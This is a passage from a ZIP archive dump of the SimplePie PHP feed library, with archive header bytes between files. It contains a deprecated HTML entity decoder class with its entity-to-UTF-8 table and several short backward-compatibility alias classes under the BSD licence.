 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */


/**
 * Decode HTML Entities
 *
 * This implements HTML5 as of revision 967 (2007-06-28)
 *
 * @deprecated Use DOMDocument instead!
 * @package SimplePie
 */
class SimplePie_Decode_HTML_Entities
{
    /**
     * Data to be parsed
     *
     * @access private
     * @var string
     */
    public $data = '';

    /**
     * Currently consumed bytes
     *
     * @access private
     * @var string
     */
    public $consumed = '';

    /**
     * Position of the current byte being parsed
     *
     * @access private
     * @var int
     */
    public $position = 0;

    /**
     * Create an instance of the class with the input data
     *
     * @access public
     * @param string $data Input data
     */
    public function __construct($data)
    {
        $this->data = $data;
    }

    /**
     * Parse the input data
     *
     * @access public
     * @return string Output data
     */
    public function parse()
    {
        while (($this->position = strpos($this->data, '&', $this->position)) !== false) {
            $this->consume();
            $this->entity();
            $this->consumed = '';
        }
        return $this->data;
    }

    /**
     * Consume the next byte
     *
     * @access private
     * @return mixed The next byte, or false, if there is no more data
     */
    public function consume()
    {
        if (isset($this->data[$this->position])) {
            $this->consumed .= $this->data[$this->position];
            return $this->data[$this->position++];
        }

        return false;
    }

    /**
     * Consume a range of characters
     *
     * @access private
     * @param string $chars Characters to consume
     * @return mixed A series of characters that match the range, or false
     */
    public function consume_range($chars)
    {
        if ($len = strspn($this->data, $chars, $this->position)) {
            $data = substr($this->data, $this->position, $len);
            $this->consumed .= $data;
            $this->position += $len;
            return $data;
        }

        return false;
    }

    /**
     * Unconsume one byte
     *
     * @access private
     */
    public function unconsume()
    {
        $this->consumed = substr($this->consumed, 0, -1);
        $this->position--;
    }

    /**
     * Decode an entity
     *
     * @access private
     */
    public function entity()
    {
        switch ($this->consume()) {
            case "\x09":
            case "\x0A":
            case "\x0B":
            case "\x0C":
            case "\x20":
            case "\x3C":
            case "\x26":
            case false:
                break;

            case "\x23":
                switch ($this->consume()) {
                    case "\x78":
                    case "\x58":
                        $range = '0123456789ABCDEFabcdef';
                        $hex = true;
                        break;

                    default:
                        $range = '0123456789';
                        $hex = false;
                        $this->unconsume();
                        break;
                }

                if ($codepoint = $this->consume_range($range)) {
                    static $windows_1252_specials = [0x0D => "\x0A", 0x80 => "\xE2\x82\xAC", 0x81 => "\xEF\xBF\xBD", 0x82 => "\xE2\x80\x9A", 0x83 => "\xC6\x92", 0x84 => "\xE2\x80\x9E", 0x85 => "\xE2\x80\xA6", 0x86 => "\xE2\x80\xA0", 0x87 => "\xE2\x80\xA1", 0x88 => "\xCB\x86", 0x89 => "\xE2\x80\xB0", 0x8A => "\xC5\xA0", 0x8B => "\xE2\x80\xB9", 0x8C => "\xC5\x92", 0x8D => "\xEF\xBF\xBD", 0x8E => "\xC5\xBD", 0x8F => "\xEF\xBF\xBD", 0x90 => "\xEF\xBF\xBD", 0x91 => "\xE2\x80\x98", 0x92 => "\xE2\x80\x99", 0x93 => "\xE2\x80\x9C", 0x94 => "\xE2\x80\x9D", 0x95 => "\xE2\x80\xA2", 0x96 => "\xE2\x80\x93", 0x97 => "\xE2\x80\x94", 0x98 => "\xCB\x9C", 0x99 => "\xE2\x84\xA2", 0x9A => "\xC5\xA1", 0x9B => "\xE2\x80\xBA", 0x9C => "\xC5\x93", 0x9D => "\xEF\xBF\xBD", 0x9E => "\xC5\xBE", 0x9F => "\xC5\xB8"];

                    if ($hex) {
                        $codepoint = hexdec($codepoint);
                    } else {
                        $codepoint = intval($codepoint);
                    }

                    if (isset($windows_1252_specials[$codepoint])) {
                        $replacement = $windows_1252_specials[$codepoint];
                    } else {
                        $replacement = SimplePie_Misc::codepoint_to_utf8($codepoint);
                    }

                    if (!in_array($this->consume(), [';', false], true)) {
                        $this->unconsume();
                    }

                    $consumed_length = strlen($this->consumed);
                    $this->data = substr_replace($this->data, $replacement, $this->position - $consumed_length, $consumed_length);
                    $this->position += strlen($replacement) - $consumed_length;
                }
                break;

            default:
                static $entities = [
                    'Aacute' => "\xC3\x81",
                    'aacute' => "\xC3\xA1",
                    'Aacute;' => "\xC3\x81",
                    'aacute;' => "\xC3\xA1",
                    'Acirc' => "\xC3\x82",
                    'acirc' => "\xC3\xA2",
                    'Acirc;' => "\xC3\x82",
                    'acirc;' => "\xC3\xA2",
                    'acute' => "\xC2\xB4",
                    'acute;' => "\xC2\xB4",
                    'AElig' => "\xC3\x86",
                    'aelig' => "\xC3\xA6",
                    'AElig;' => "\xC3\x86",
                    'aelig;' => "\xC3\xA6",
                    'Agrave' => "\xC3\x80",
                    'agrave' => "\xC3\xA0",
                    'Agrave;' => "\xC3\x80",
                    'agrave;' => "\xC3\xA0",
                    'alefsym;' => "\xE2\x84\xB5",
                    'Alpha;' => "\xCE\x91",
                    'alpha;' => "\xCE\xB1",
                    'AMP' => "\x26",
                    'amp' => "\x26",
                    'AMP;' => "\x26",
                    'amp;' => "\x26",
                    'and;' => "\xE2\x88\xA7",
                    'ang;' => "\xE2\x88\xA0",
                    'apos;' => "\x27",
                    'Aring' => "\xC3\x85",
                    'aring' => "\xC3\xA5",
                    'Aring;' => "\xC3\x85",
                    'aring;' => "\xC3\xA5",
                    'asymp;' => "\xE2\x89\x88",
                    'Atilde' => "\xC3\x83",
                    'atilde' => "\xC3\xA3",
                    'Atilde;' => "\xC3\x83",
                    'atilde;' => "\xC3\xA3",
                    'Auml' => "\xC3\x84",
                    'auml' => "\xC3\xA4",
                    'Auml;' => "\xC3\x84",
                    'auml;' => "\xC3\xA4",
                    'bdquo;' => "\xE2\x80\x9E",
                    'Beta;' => "\xCE\x92",
                    'beta;' => "\xCE\xB2",
                    'brvbar' => "\xC2\xA6",
                    'brvbar;' => "\xC2\xA6",
                    'bull;' => "\xE2\x80\xA2",
                    'cap;' => "\xE2\x88\xA9",
                    'Ccedil' => "\xC3\x87",
                    'ccedil' => "\xC3\xA7",
                    'Ccedil;' => "\xC3\x87",
                    'ccedil;' => "\xC3\xA7",
                    'cedil' => "\xC2\xB8",
                    'cedil;' => "\xC2\xB8",
                    'cent' => "\xC2\xA2",
                    'cent;' => "\xC2\xA2",
                    'Chi;' => "\xCE\xA7",
                    'chi;' => "\xCF\x87",
                    'circ;' => "\xCB\x86",
                    'clubs;' => "\xE2\x99\xA3",
                    'cong;' => "\xE2\x89\x85",
                    'COPY' => "\xC2\xA9",
                    'copy' => "\xC2\xA9",
                    'COPY;' => "\xC2\xA9",
                    'copy;' => "\xC2\xA9",
                    'crarr;' => "\xE2\x86\xB5",
                    'cup;' => "\xE2\x88\xAA",
                    'curren' => "\xC2\xA4",
                    'curren;' => "\xC2\xA4",
                    'Dagger;' => "\xE2\x80\xA1",
                    'dagger;' => "\xE2\x80\xA0",
                    'dArr;' => "\xE2\x87\x93",
                    'darr;' => "\xE2\x86\x93",
                    'deg' => "\xC2\xB0",
                    'deg;' => "\xC2\xB0",
                    'Delta;' => "\xCE\x94",
                    'delta;' => "\xCE\xB4",
                    'diams;' => "\xE2\x99\xA6",
                    'divide' => "\xC3\xB7",
                    'divide;' => "\xC3\xB7",
                    'Eacute' => "\xC3\x89",
                    'eacute' => "\xC3\xA9",
                    'Eacute;' => "\xC3\x89",
                    'eacute;' => "\xC3\xA9",
                    'Ecirc' => "\xC3\x8A",
                    'ecirc' => "\xC3\xAA",
                    'Ecirc;' => "\xC3\x8A",
                    'ecirc;' => "\xC3\xAA",
                    'Egrave' => "\xC3\x88",
                    'egrave' => "\xC3\xA8",
                    'Egrave;' => "\xC3\x88",
                    'egrave;' => "\xC3\xA8",
                    'empty;' => "\xE2\x88\x85",
                    'emsp;' => "\xE2\x80\x83",
                    'ensp;' => "\xE2\x80\x82",
                    'Epsilon;' => "\xCE\x95",
                    'epsilon;' => "\xCE\xB5",
                    'equiv;' => "\xE2\x89\xA1",
                    'Eta;' => "\xCE\x97",
                    'eta;' => "\xCE\xB7",
                    'ETH' => "\xC3\x90",
                    'eth' => "\xC3\xB0",
                    'ETH;' => "\xC3\x90",
                    'eth;' => "\xC3\xB0",
                    'Euml' => "\xC3\x8B",
                    'euml' => "\xC3\xAB",
                    'Euml;' => "\xC3\x8B",
                    'euml;' => "\xC3\xAB",
                    'euro;' => "\xE2\x82\xAC",
                    'exist;' => "\xE2\x88\x83",
                    'fnof;' => "\xC6\x92",
                    'forall;' => "\xE2\x88\x80",
                    'frac12' => "\xC2\xBD",
                    'frac12;' => "\xC2\xBD",
                    'frac14' => "\xC2\xBC",
                    'frac14;' => "\xC2\xBC",
                    'frac34' => "\xC2\xBE",
                    'frac34;' => "\xC2\xBE",
                    'frasl;' => "\xE2\x81\x84",
                    'Gamma;' => "\xCE\x93",
                    'gamma;' => "\xCE\xB3",
                    'ge;' => "\xE2\x89\xA5",
                    'GT' => "\x3E",
                    'gt' => "\x3E",
                    'GT;' => "\x3E",
                    'gt;' => "\x3E",
                    'hArr;' => "\xE2\x87\x94",
                    'harr;' => "\xE2\x86\x94",
                    'hearts;' => "\xE2\x99\xA5",
                    'hellip;' => "\xE2\x80\xA6",
                    'Iacute' => "\xC3\x8D",
                    'iacute' => "\xC3\xAD",
                    'Iacute;' => "\xC3\x8D",
                    'iacute;' => "\xC3\xAD",
                    'Icirc' => "\xC3\x8E",
                    'icirc' => "\xC3\xAE",
                    'Icirc;' => "\xC3\x8E",
                    'icirc;' => "\xC3\xAE",
                    'iexcl' => "\xC2\xA1",
                    'iexcl;' => "\xC2\xA1",
                    'Igrave' => "\xC3\x8C",
                    'igrave' => "\xC3\xAC",
                    'Igrave;' => "\xC3\x8C",
                    'igrave;' => "\xC3\xAC",
                    'image;' => "\xE2\x84\x91",
                    'infin;' => "\xE2\x88\x9E",
                    'int;' => "\xE2\x88\xAB",
                    'Iota;' => "\xCE\x99",
                    'iota;' => "\xCE\xB9",
                    'iquest' => "\xC2\xBF",
                    'iquest;' => "\xC2\xBF",
                    'isin;' => "\xE2\x88\x88",
                    'Iuml' => "\xC3\x8F",
                    'iuml' => "\xC3\xAF",
                    'Iuml;' => "\xC3\x8F",
                    'iuml;' => "\xC3\xAF",
                    'Kappa;' => "\xCE\x9A",
                    'kappa;' => "\xCE\xBA",
                    'Lambda;' => "\xCE\x9B",
                    'lambda;' => "\xCE\xBB",
                    'lang;' => "\xE3\x80\x88",
                    'laquo' => "\xC2\xAB",
                    'laquo;' => "\xC2\xAB",
                    'lArr;' => "\xE2\x87\x90",
                    'larr;' => "\xE2\x86\x90",
                    'lceil;' => "\xE2\x8C\x88",
                    'ldquo;' => "\xE2\x80\x9C",
                    'le;' => "\xE2\x89\xA4",
                    'lfloor;' => "\xE2\x8C\x8A",
                    'lowast;' => "\xE2\x88\x97",
                    'loz;' => "\xE2\x97\x8A",
                    'lrm;' => "\xE2\x80\x8E",
                    'lsaquo;' => "\xE2\x80\xB9",
                    'lsquo;' => "\xE2\x80\x98",
                    'LT' => "\x3C",
                    'lt' => "\x3C",
                    'LT;' => "\x3C",
                    'lt;' => "\x3C",
                    'macr' => "\xC2\xAF",
                    'macr;' => "\xC2\xAF",
                    'mdash;' => "\xE2\x80\x94",
                    'micro' => "\xC2\xB5",
                    'micro;' => "\xC2\xB5",
                    'middot' => "\xC2\xB7",
                    'middot;' => "\xC2\xB7",
                    'minus;' => "\xE2\x88\x92",
                    'Mu;' => "\xCE\x9C",
                    'mu;' => "\xCE\xBC",
                    'nabla;' => "\xE2\x88\x87",
                    'nbsp' => "\xC2\xA0",
                    'nbsp;' => "\xC2\xA0",
                    'ndash;' => "\xE2\x80\x93",
                    'ne;' => "\xE2\x89\xA0",
                    'ni;' => "\xE2\x88\x8B",
                    'not' => "\xC2\xAC",
                    'not;' => "\xC2\xAC",
                    'notin;' => "\xE2\x88\x89",
                    'nsub;' => "\xE2\x8A\x84",
                    'Ntilde' => "\xC3\x91",
                    'ntilde' => "\xC3\xB1",
                    'Ntilde;' => "\xC3\x91",
                    'ntilde;' => "\xC3\xB1",
                    'Nu;' => "\xCE\x9D",
                    'nu;' => "\xCE\xBD",
                    'Oacute' => "\xC3\x93",
                    'oacute' => "\xC3\xB3",
                    'Oacute;' => "\xC3\x93",
                    'oacute;' => "\xC3\xB3",
                    'Ocirc' => "\xC3\x94",
                    'ocirc' => "\xC3\xB4",
                    'Ocirc;' => "\xC3\x94",
                    'ocirc;' => "\xC3\xB4",
                    'OElig;' => "\xC5\x92",
                    'oelig;' => "\xC5\x93",
                    'Ograve' => "\xC3\x92",
                    'ograve' => "\xC3\xB2",
                    'Ograve;' => "\xC3\x92",
                    'ograve;' => "\xC3\xB2",
                    'oline;' => "\xE2\x80\xBE",
                    'Omega;' => "\xCE\xA9",
                    'omega;' => "\xCF\x89",
                    'Omicron;' => "\xCE\x9F",
                    'omicron;' => "\xCE\xBF",
                    'oplus;' => "\xE2\x8A\x95",
                    'or;' => "\xE2\x88\xA8",
                    'ordf' => "\xC2\xAA",
                    'ordf;' => "\xC2\xAA",
                    'ordm' => "\xC2\xBA",
                    'ordm;' => "\xC2\xBA",
                    'Oslash' => "\xC3\x98",
                    'oslash' => "\xC3\xB8",
                    'Oslash;' => "\xC3\x98",
                    'oslash;' => "\xC3\xB8",
                    'Otilde' => "\xC3\x95",
                    'otilde' => "\xC3\xB5",
                    'Otilde;' => "\xC3\x95",
                    'otilde;' => "\xC3\xB5",
                    'otimes;' => "\xE2\x8A\x97",
                    'Ouml' => "\xC3\x96",
                    'ouml' => "\xC3\xB6",
                    'Ouml;' => "\xC3\x96",
                    'ouml;' => "\xC3\xB6",
                    'para' => "\xC2\xB6",
                    'para;' => "\xC2\xB6",
                    'part;' => "\xE2\x88\x82",
                    'permil;' => "\xE2\x80\xB0",
                    'perp;' => "\xE2\x8A\xA5",
                    'Phi;' => "\xCE\xA6",
                    'phi;' => "\xCF\x86",
                    'Pi;' => "\xCE\xA0",
                    'pi;' => "\xCF\x80",
                    'piv;' => "\xCF\x96",
                    'plusmn' => "\xC2\xB1",
                    'plusmn;' => "\xC2\xB1",
                    'pound' => "\xC2\xA3",
                    'pound;' => "\xC2\xA3",
                    'Prime;' => "\xE2\x80\xB3",
                    'prime;' => "\xE2\x80\xB2",
                    'prod;' => "\xE2\x88\x8F",
                    'prop;' => "\xE2\x88\x9D",
                    'Psi;' => "\xCE\xA8",
                    'psi;' => "\xCF\x88",
                    'QUOT' => "\x22",
                    'quot' => "\x22",
                    'QUOT;' => "\x22",
                    'quot;' => "\x22",
                    'radic;' => "\xE2\x88\x9A",
                    'rang;' => "\xE3\x80\x89",
                    'raquo' => "\xC2\xBB",
                    'raquo;' => "\xC2\xBB",
                    'rArr;' => "\xE2\x87\x92",
                    'rarr;' => "\xE2\x86\x92",
                    'rceil;' => "\xE2\x8C\x89",
                    'rdquo;' => "\xE2\x80\x9D",
                    'real;' => "\xE2\x84\x9C",
                    'REG' => "\xC2\xAE",
                    'reg' => "\xC2\xAE",
                    'REG;' => "\xC2\xAE",
                    'reg;' => "\xC2\xAE",
                    'rfloor;' => "\xE2\x8C\x8B",
                    'Rho;' => "\xCE\xA1",
                    'rho;' => "\xCF\x81",
                    'rlm;' => "\xE2\x80\x8F",
                    'rsaquo;' => "\xE2\x80\xBA",
                    'rsquo;' => "\xE2\x80\x99",
                    'sbquo;' => "\xE2\x80\x9A",
                    'Scaron;' => "\xC5\xA0",
                    'scaron;' => "\xC5\xA1",
                    'sdot;' => "\xE2\x8B\x85",
                    'sect' => "\xC2\xA7",
                    'sect;' => "\xC2\xA7",
                    'shy' => "\xC2\xAD",
                    'shy;' => "\xC2\xAD",
                    'Sigma;' => "\xCE\xA3",
                    'sigma;' => "\xCF\x83",
                    'sigmaf;' => "\xCF\x82",
                    'sim;' => "\xE2\x88\xBC",
                    'spades;' => "\xE2\x99\xA0",
                    'sub;' => "\xE2\x8A\x82",
                    'sube;' => "\xE2\x8A\x86",
                    'sum;' => "\xE2\x88\x91",
                    'sup;' => "\xE2\x8A\x83",
                    'sup1' => "\xC2\xB9",
                    'sup1;' => "\xC2\xB9",
                    'sup2' => "\xC2\xB2",
                    'sup2;' => "\xC2\xB2",
                    'sup3' => "\xC2\xB3",
                    'sup3;' => "\xC2\xB3",
                    'supe;' => "\xE2\x8A\x87",
                    'szlig' => "\xC3\x9F",
                    'szlig;' => "\xC3\x9F",
                    'Tau;' => "\xCE\xA4",
                    'tau;' => "\xCF\x84",
                    'there4;' => "\xE2\x88\xB4",
                    'Theta;' => "\xCE\x98",
                    'theta;' => "\xCE\xB8",
                    'thetasym;' => "\xCF\x91",
                    'thinsp;' => "\xE2\x80\x89",
                    'THORN' => "\xC3\x9E",
                    'thorn' => "\xC3\xBE",
                    'THORN;' => "\xC3\x9E",
                    'thorn;' => "\xC3\xBE",
                    'tilde;' => "\xCB\x9C",
                    'times' => "\xC3\x97",
                    'times;' => "\xC3\x97",
                    'TRADE;' => "\xE2\x84\xA2",
                    'trade;' => "\xE2\x84\xA2",
                    'Uacute' => "\xC3\x9A",
                    'uacute' => "\xC3\xBA",
                    'Uacute;' => "\xC3\x9A",
                    'uacute;' => "\xC3\xBA",
                    'uArr;' => "\xE2\x87\x91",
                    'uarr;' => "\xE2\x86\x91",
                    'Ucirc' => "\xC3\x9B",
                    'ucirc' => "\xC3\xBB",
                    'Ucirc;' => "\xC3\x9B",
                    'ucirc;' => "\xC3\xBB",
                    'Ugrave' => "\xC3\x99",
                    'ugrave' => "\xC3\xB9",
                    'Ugrave;' => "\xC3\x99",
                    'ugrave;' => "\xC3\xB9",
                    'uml' => "\xC2\xA8",
                    'uml;' => "\xC2\xA8",
                    'upsih;' => "\xCF\x92",
                    'Upsilon;' => "\xCE\xA5",
                    'upsilon;' => "\xCF\x85",
                    'Uuml' => "\xC3\x9C",
                    'uuml' => "\xC3\xBC",
                    'Uuml;' => "\xC3\x9C",
                    'uuml;' => "\xC3\xBC",
                    'weierp;' => "\xE2\x84\x98",
                    'Xi;' => "\xCE\x9E",
                    'xi;' => "\xCE\xBE",
                    'Yacute' => "\xC3\x9D",
                    'yacute' => "\xC3\xBD",
                    'Yacute;' => "\xC3\x9D",
                    'yacute;' => "\xC3\xBD",
                    'yen' => "\xC2\xA5",
                    'yen;' => "\xC2\xA5",
                    'yuml' => "\xC3\xBF",
                    'Yuml;' => "\xC5\xB8",
                    'yuml;' => "\xC3\xBF",
                    'Zeta;' => "\xCE\x96",
                    'zeta;' => "\xCE\xB6",
                    'zwj;' => "\xE2\x80\x8D",
                    'zwnj;' => "\xE2\x80\x8C"
                ];

                for ($i = 0, $match = null; $i < 9 && $this->consume() !== false; $i++) {
                    $consumed = substr($this->consumed, 1);
                    if (isset($entities[$consumed])) {
                        $match = $consumed;
                    }
                }

                if ($match !== null) {
                    $this->data = substr_replace($this->data, $entities[$match], $this->position - strlen($consumed) - 1, strlen($match) + 1);
                    $this->position += strlen($entities[$match]) - strlen($consumed) - 1;
                }
                break;
        }
    }
}
PKWd[Z����	�	!library/SimplePie/Restriction.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Restriction;

class_exists('SimplePie\Restriction');

// @trigger_error(sprintf('Using the "SimplePie_Restriction" class is deprecated since SimplePie 1.7.0, use "SimplePie\Restriction" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Restriction" instead */
    class SimplePie_Restriction extends Restriction
    {
    }
}
PKWd[�$�l��library/SimplePie/Core.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * SimplePie class.
 *
 * Class for backward compatibility.
 *
 * @deprecated Use {@see SimplePie} directly
 * @package SimplePie
 * @subpackage API
 */
class SimplePie_Core extends SimplePie
{
}
PKWd[+���g	g	library/SimplePie/Net/IPv6.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Net\IPv6;

class_exists('SimplePie\Net\IPv6');

// @trigger_error(sprintf('Using the "SimplePie_Net_IPv6" class is deprecated since SimplePie 1.7.0, use "SimplePie\Net\IPv6" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Net\IPv6" instead */
    class SimplePie_Net_IPv6 extends IPv6
    {
    }
}
PKWd[���H	H	library/SimplePie/IRI.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\IRI;

class_exists('SimplePie\IRI');

// @trigger_error(sprintf('Using the "SimplePie_IRI" class is deprecated since SimplePie 1.7.0, use "SimplePie\IRI" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\IRI" instead */
    class SimplePie_IRI extends IRI
    {
    }
}
PKWd[r#�k	k	library/SimplePie/Registry.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
